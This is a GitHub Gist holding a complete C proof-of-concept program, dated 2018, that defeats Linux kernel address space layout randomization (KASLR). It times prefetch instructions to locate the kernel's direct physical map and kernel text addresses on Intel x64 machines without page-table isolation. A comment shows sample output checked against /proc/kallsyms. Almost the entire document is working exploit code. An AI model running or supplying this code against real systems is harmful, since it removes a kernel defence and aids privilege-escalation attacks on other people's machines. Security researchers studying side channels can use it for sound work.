Created
January 22, 2018 04:02
-
-
Save worawit/1e06670dbbf202df0e555b12fc7d4766 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
This PoC is based on http://www.immunityinc.com/downloads/x86leaks_old.pdf | |
The PoC finds direct physical map and kernel text address in Linux kernel without PTI on Intel x64. | |
The PoC might not work correctly in VM. For example, this PoC cannot find correct direct physical map | |
address in KVM. The reason is in https://www.kernel.org/doc/Documentation/virtual/kvm/mmu.txt | |
$ ./break_linux_kaslr_nopti | |
timing for invalid page: 299028 | |
timing for valid page: 10060 | |
limit time threshold for valid page: 25150 | |
valid addr: 0xffff94cc00000000 time: 1978 | |
valid addr: 0xffff94cbc0000000 time: 2112 | |
[-] 0xffff94cbbfe00000 | |
[+] Direct physical map addr: 0xffff94cbc0000000 | |
valid addr: 0xffffffffb1000000 time: 1748 | |
valid addr: 0xffffffffb0800000 time: 1798 | |
valid addr: 0xffffffffb0400000 time: 1744 | |
valid addr: 0xffffffffb0200000 time: 1772 | |
[+] Kernel code addr: 0xffffffffb0200000 | |
$ sudo grep 'T _text' /proc/kallsyms | |
ffffffffb0200000 T _text | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <sched.h> | |
#include <x86intrin.h> | |
static uint32_t time_threshold; | |
static uint32_t __attribute__((noinline)) do_timing(uintptr_t addr) | |
{ | |
uint32_t t1, t2; | |
t1 = __rdtsc(); | |
for (uint32_t i = 2000; i > 0; i--) { | |
_mm_prefetch((void*) addr, _MM_HINT_T0); | |
} | |
t2 = __rdtsc(); | |
return t2 - t1; | |
} | |
static size_t find_valid_addr(uintptr_t addr_start, uintptr_t addr_end, size_t step, size_t min_step) | |
{ | |
int progress = 0; | |
uintptr_t last_valid_addr = -1; | |
if (min_step == 0) | |
min_step = 0x1000; | |
uintptr_t addr = addr_start; | |
while (addr < addr_end) { | |
printf("\r\x1b[34;1m[%c]\x1b[0m 0x%zx ", "/-\\|"[(progress++ / 100) % 4], addr); | |
uint32_t res = do_timing(addr); | |
if (res < time_threshold) { | |
printf("\rvalid addr: 0x%lx time: %u\n", addr, res); | |
last_valid_addr = addr; | |
if (step == min_step || addr == addr_start) | |
break; | |
step >>= 1; | |
addr -= step; | |
} else { | |
addr += step; | |
// should never be greater than. can be only equal | |
if (addr >= last_valid_addr) { | |
// this address is tested | |
if (step == min_step) | |
break; | |
step >>= 1; | |
addr -= step; | |
} | |
} | |
} | |
return last_valid_addr; | |
} | |
int main(int argc, char *argv[]) | |
{ | |
// for reliability | |
// - should do_timing a few time to determine time_threshold | |
// - should have grey range for re-timing | |
time_threshold = do_timing((uintptr_t)&main - 0x2000); | |
printf("timing for invalid page: %u\n", time_threshold); | |
time_threshold = do_timing((uintptr_t)&time_threshold); | |
printf("timing for valid page: %u\n", time_threshold); | |
time_threshold *= 2.5; | |
printf("limit time threshold for valid page: %u\n", time_threshold); | |
// 0x200000 (2MB) | |
uint64_t phys_addr = find_valid_addr(0xffff880000000000, 0xffffc90000000000, 0x80000000, 0x200000); | |
if (phys_addr != -1) { | |
printf("\n\x1b[32;1m[+]\x1b[0m Direct physical map addr: \x1b[33;1m0x%zx\x1b[0m\n", phys_addr); | |
} | |
else { | |
printf("\n\x1b[31;1m[-]\x1b[0m Not found direct physical map address.\n"); | |
} | |
uint64_t kern_text_addr = find_valid_addr(0xffffffff80000000, 0xfffffffff0000000, 0x1000000, 0x200000); | |
if (kern_text_addr != -1) { | |
printf("\n\x1b[32;1m[+]\x1b[0m Kernel code addr: \x1b[33;1m0x%zx\x1b[0m\n", kern_text_addr); | |
} | |
else { | |
printf("\n\x1b[31;1m[-]\x1b[0m Not found kernel code address.\n"); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment